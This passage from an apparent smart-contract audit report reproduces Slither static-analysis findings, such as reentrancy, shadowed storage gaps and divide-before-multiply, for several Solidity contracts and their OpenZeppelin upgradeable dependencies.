        - lastRunEpoch == currentEpoch() (src/Epochs/EpochManager.sol#88)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#dangerous-strict-equalities
INFO:Detectors:
AddressUpgradeable._revert(bytes,string) (lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol#231-243) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol#236-239)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#assembly-usage
INFO:Detectors:
Different versions of Solidity are used:
        - Version used: ['0.8.18', '^0.8.0', '^0.8.1', '^0.8.2']
        - 0.8.18 (src/Epochs/EpochManager.sol#2)
        - 0.8.18 (src/Epochs/EpochManagerStorage.sol#2)
        - 0.8.18 (src/Epochs/IEpochManager.sol#2)
        - ^0.8.0 (lib/openzeppelin-contracts-upgradeable/contracts/access/OwnableUpgradeable.sol#4)
        - ^0.8.0 (lib/openzeppelin-contracts-upgradeable/contracts/utils/ContextUpgradeable.sol#4)
        - ^0.8.1 (lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol#4)
        - ^0.8.2 (lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol#4)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#different-pragma-directives-are-used
INFO:Detectors:
AddressUpgradeable._revert(bytes,string) (lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol#231-243) is never used and should be removed
AddressUpgradeable.functionCall(address,bytes) (lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol#89-91) is never used and should be removed
AddressUpgradeable.functionCall(address,bytes,string) (lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol#99-105) is never used and should be removed
AddressUpgradeable.functionCallWithValue(address,bytes,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol#118-120) is never used and should be removed
AddressUpgradeable.functionCallWithValue(address,bytes,uint256,string) (lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol#128-137) is never used and should be removed
AddressUpgradeable.functionDelegateCall(address,bytes) (lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol#170-172) is never used and should be removed
AddressUpgradeable.functionDelegateCall(address,bytes,string) (lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol#180-187) is never used and should be removed
AddressUpgradeable.functionStaticCall(address,bytes) (lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol#145-147) is never used and should be removed
AddressUpgradeable.functionStaticCall(address,bytes,string) (lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol#155-162) is never used and should be removed
AddressUpgradeable.sendValue(address,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol#64-69) is never used and should be removed
AddressUpgradeable.verifyCallResult(bool,bytes,string) (lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol#219-229) is never used and should be removed
AddressUpgradeable.verifyCallResultFromTarget(address,bool,bytes,string) (lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol#195-211) is never used and should be removed
ContextUpgradeable.__Context_init() (lib/openzeppelin-contracts-upgradeable/contracts/utils/ContextUpgradeable.sol#18-19) is never used and should be removed
ContextUpgradeable.__Context_init_unchained() (lib/openzeppelin-contracts-upgradeable/contracts/utils/ContextUpgradeable.sol#21-22) is never used and should be removed
ContextUpgradeable._msgData() (lib/openzeppelin-contracts-upgradeable/contracts/utils/ContextUpgradeable.sol#27-29) is never used and should be removed
Initializable._getInitializedVersion() (lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol#156-158) is never used and should be removed
Initializable._isInitializing() (lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol#163-165) is never used and should be removed
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#dead-code
INFO:Detectors:
Pragma version^0.8.0 (lib/openzeppelin-contracts-upgradeable/contracts/access/OwnableUpgradeable.sol#4) allows old versions
Pragma version^0.8.2 (lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol#4) allows old versions
Pragma version^0.8.1 (lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol#4) allows old versions
Pragma version^0.8.0 (lib/openzeppelin-contracts-upgradeable/contracts/utils/ContextUpgradeable.sol#4) allows old versions
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity
INFO:Detectors:
Low level call in AddressUpgradeable.sendValue(address,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol#64-69):
        - (success) = recipient.call{value: amount}() (lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol#67)
Low level call in AddressUpgradeable.functionCallWithValue(address,bytes,uint256,string) (lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol#128-137):
        - (success,returndata) = target.call{value: value}(data) (lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol#135)
Low level call in AddressUpgradeable.functionStaticCall(address,bytes,string) (lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol#155-162):
        - (success,returndata) = target.staticcall(data) (lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol#160)
Low level call in AddressUpgradeable.functionDelegateCall(address,bytes,string) (lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol#180-187):
        - (success,returndata) = target.delegatecall(data) (lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol#185)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#low-level-calls
INFO:Detectors:
Function OwnableUpgradeable.__Ownable_init() (lib/openzeppelin-contracts-upgradeable/contracts/access/OwnableUpgradeable.sol#29-31) is not in mixedCase
Function OwnableUpgradeable.__Ownable_init_unchained() (lib/openzeppelin-contracts-upgradeable/contracts/access/OwnableUpgradeable.sol#33-35) is not in mixedCase
Variable OwnableUpgradeable.__gap (lib/openzeppelin-contracts-upgradeable/contracts/access/OwnableUpgradeable.sol#94) is not in mixedCase
Function ContextUpgradeable.__Context_init() (lib/openzeppelin-contracts-upgradeable/contracts/utils/ContextUpgradeable.sol#18-19) is not in mixedCase
Function ContextUpgradeable.__Context_init_unchained() (lib/openzeppelin-contracts-upgradeable/contracts/utils/ContextUpgradeable.sol#21-22) is not in mixedCase
Variable ContextUpgradeable.__gap (lib/openzeppelin-contracts-upgradeable/contracts/utils/ContextUpgradeable.sol#36) is not in mixedCase
Parameter EpochManager.initialize(uint256)._epochLength (src/Epochs/EpochManager.sol#41) is not in mixedCase
Parameter EpochManager.setEpochLength(uint256)._epochLength (src/Epochs/EpochManager.sol#60) is not in mixedCase
Parameter EpochManager.blockHash(uint256)._block (src/Epochs/EpochManager.sol#103) is not in mixedCase
Parameter EpochManager.epochsSince(uint256)._epoch (src/Epochs/EpochManager.sol#144) is not in mixedCase
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#conformance-to-solidity-naming-conventions
```

contracts/GovernanceController/*

```
INFO:Detectors:
GovernanceController.__gap (src/GovernanceController/Governance/Controller.sol#23) shadows:
        - ReentrancyGuardUpgradeable.__gap (lib/openzeppelin-contracts-upgradeable/contracts/security/ReentrancyGuardUpgradeable.sol#88)
        - AccessControlUpgradeable.__gap (lib/openzeppelin-contracts-upgradeable/contracts/access/AccessControlUpgradeable.sol#268)
        - ERC165Upgradeable.__gap (lib/openzeppelin-contracts-upgradeable/contracts/utils/introspection/ERC165Upgradeable.sol#41)
        - ContextUpgradeable.__gap (lib/openzeppelin-contracts-upgradeable/contracts/utils/ContextUpgradeable.sol#36)
        - UUPSUpgradeable.__gap (lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/UUPSUpgradeable.sol#111)
        - ERC1967UpgradeUpgradeable.__gap (lib/openzeppelin-contracts-upgradeable/contracts/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#169)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#state-variable-shadowing
INFO:Detectors:
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse = (3 * denominator) ^ 2 (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#116)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#120)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#121)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#122)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#123)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#124)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#125)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - prod0 = prod0 / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#104)
        - result = prod0 * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#131)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#divide-before-multiply
INFO:Detectors:
ERC1967UpgradeUpgradeable._upgradeToAndCall(address,bytes,bool) (lib/openzeppelin-contracts-upgradeable/contracts/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#65-70) ignores return value by AddressUpgradeable.functi
contracts-upgradeable/contracts/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#68)
ERC1967UpgradeUpgradeable._upgradeBeaconToAndCall(address,bytes,bool) (lib/openzeppelin-contracts-upgradeable/contracts/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#156-162) ignores return value by AddressUpgradeabl
ementation(),data) (lib/openzeppelin-contracts-upgradeable/contracts/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#160)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unused-return
INFO:Detectors:
AddressUpgradeable._revert(bytes,string) (lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol#231-243) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol#236-239)
StorageSlotUpgradeable.getAddressSlot(bytes32) (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#62-67) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#64-66)
StorageSlotUpgradeable.getBooleanSlot(bytes32) (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#72-77) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#74-76)
StorageSlotUpgradeable.getBytes32Slot(bytes32) (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#82-87) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#84-86)
StorageSlotUpgradeable.getUint256Slot(bytes32) (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#92-97) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#94-96)
StorageSlotUpgradeable.getStringSlot(bytes32) (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#102-107) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#104-106)
StorageSlotUpgradeable.getStringSlot(string) (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#112-117) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#114-116)
StorageSlotUpgradeable.getBytesSlot(bytes32) (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#122-127) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#124-126)
StorageSlotUpgradeable.getBytesSlot(bytes) (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#132-137) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#134-136)
StringsUpgradeable.toString(uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/StringsUpgradeable.sol#19-39) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/StringsUpgradeable.sol#25-27)
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/StringsUpgradeable.sol#31-33)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#62-66)
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#85-92)
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#99-108)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#assembly-usage
```

AUTOMATED TESTING

contracts/Operator/*

```
INFO:Detectors:
GovernanceController.__gap (src/GovernanceController/Governance/Controller.sol#23) shadows:
        - ReentrancyGuardUpgradeable.__gap (lib/openzeppelin-contracts-upgradeable/contracts/security/ReentrancyGuardUpgradeable.sol#88)
        - AccessControlUpgradeable.__gap (lib/openzeppelin-contracts-upgradeable/contracts/access/AccessControlUpgradeable.sol#268)
        - ERC165Upgradeable.__gap (lib/openzeppelin-contracts-upgradeable/contracts/utils/introspection/ERC165Upgradeable.sol#41)
        - ContextUpgradeable.__gap (lib/openzeppelin-contracts-upgradeable/contracts/utils/ContextUpgradeable.sol#36)
        - UUPSUpgradeable.__gap (lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/UUPSUpgradeable.sol#111)
        - ERC1967UpgradeUpgradeable.__gap (lib/openzeppelin-contracts-upgradeable/contracts/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#169)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#state-variable-shadowing
INFO:Detectors:
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse = (3 * denominator) ^ 2 (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#116)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#120)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#121)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#122)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#123)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#124)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#125)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - prod0 = prod0 / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#104)
        - result = prod0 * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#131)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#divide-before-multiply
INFO:Detectors:
ERC1967UpgradeUpgradeable._upgradeToAndCall(address,bytes,bool) (lib/openzeppelin-contracts-upgradeable/contracts/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#65-70) ignores return value by AddressUpgradeable.functi
contracts-upgradeable/contracts/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#68)
ERC1967UpgradeUpgradeable._upgradeBeaconToAndCall(address,bytes,bool) (lib/openzeppelin-contracts-upgradeable/contracts/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#156-162) ignores return value by AddressUpgradeabl
ementation(),data) (lib/openzeppelin-contracts-upgradeable/contracts/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#160)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unused-return
INFO:Detectors:
Operator.updateOperatorStatus(address,bool)._status (src/Operator/Operator.sol#165) shadows:
        - ReentrancyGuardUpgradeable._status (lib/openzeppelin-contracts-upgradeable/contracts/security/ReentrancyGuardUpgradeable.sol#38) (state variable)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#local-variable-shadowing
INFO:Detectors:
AddressUpgradeable._revert(bytes,string) (lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol#231-243) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol#236-239)
StorageSlotUpgradeable.getAddressSlot(bytes32) (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#62-67) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#64-66)
StorageSlotUpgradeable.getBooleanSlot(bytes32) (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#72-77) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#74-76)
StorageSlotUpgradeable.getBytes32Slot(bytes32) (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#82-87) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#84-86)
StorageSlotUpgradeable.getUint256Slot(bytes32) (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#92-97) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#94-96)
StorageSlotUpgradeable.getStringSlot(bytes32) (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#102-107) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#104-106)
StorageSlotUpgradeable.getStringSlot(string) (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#112-117) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#114-116)
StorageSlotUpgradeable.getBytesSlot(bytes32) (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#122-127) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#124-126)
StorageSlotUpgradeable.getBytesSlot(bytes) (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#132-137) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol#134-136)
StringsUpgradeable.toString(uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/StringsUpgradeable.sol#19-39) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/StringsUpgradeable.sol#25-27)
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/StringsUpgradeable.sol#31-33)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#62-66)
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#85-92)
        - INLINE ASM (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#99-108)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#assembly-usage
```

contracts/RewardManager/*

```
INFO:Detectors:
TokenUtils.pullTokens(IERC20Upgradeable,address,uint256) (src/Utils/TokenUtils.sol#14-22) uses arbitrary from in transferFrom: require(bool,string)(_token.transferFrom(_from,address(this),_amount),Tokens: Couldn't
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#arbitrary-from-in-transferfrom
INFO:Detectors:
GovernanceController.__gap (src/GovernanceController/Governance/Controller.sol#23) shadows:
        - ReentrancyGuardUpgradeable.__gap (lib/openzeppelin-contracts-upgradeable/contracts/security/ReentrancyGuardUpgradeable.sol#88)
        - AccessControlUpgradeable.__gap (lib/openzeppelin-contracts-upgradeable/contracts/access/AccessControlUpgradeable.sol#268)
        - ERC165Upgradeable.__gap (lib/openzeppelin-contracts-upgradeable/contracts/utils/introspection/ERC165Upgradeable.sol#41)
        - ContextUpgradeable.__gap (lib/openzeppelin-contracts-upgradeable/contracts/utils/ContextUpgradeable.sol#36)
        - UUPSUpgradeable.__gap (lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/UUPSUpgradeable.sol#111)
        - ERC1967UpgradeUpgradeable.__gap (lib/openzeppelin-contracts-upgradeable/contracts/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#169)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#state-variable-shadowing
INFO:Detectors:
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse = (3 * denominator) ^ 2 (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#116)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#120)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#121)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#122)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#123)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#124)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - denominator = denominator / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#101)
        - inverse *= 2 - denominator * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#125)
MathUpgradeable.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#55-134) performs a multiplication on the result of a division:
        - prod0 = prod0 / twos (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#104)
        - result = prod0 * inverse (lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol#131)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#divide-before-multiply
INFO:Detectors:
Reentrancy in RewardManager.claimReward() (src/RewardManager/RewardManager.sol#202-213):
        External calls:
        - TokenUtils.pushTokens(bcutToken_,msg.sender,claimableAmount) (src/RewardManager/RewardManager.sol#207)
        State variables written after the call(s):
        - claimable[msg.sender].totalClaimed += claimableAmount (src/RewardManager/RewardManager.sol#209)
        RewardV1Storage.claimable_ (src/RewardManager/Storage.sol#42) can be used in cross function reentrancies:
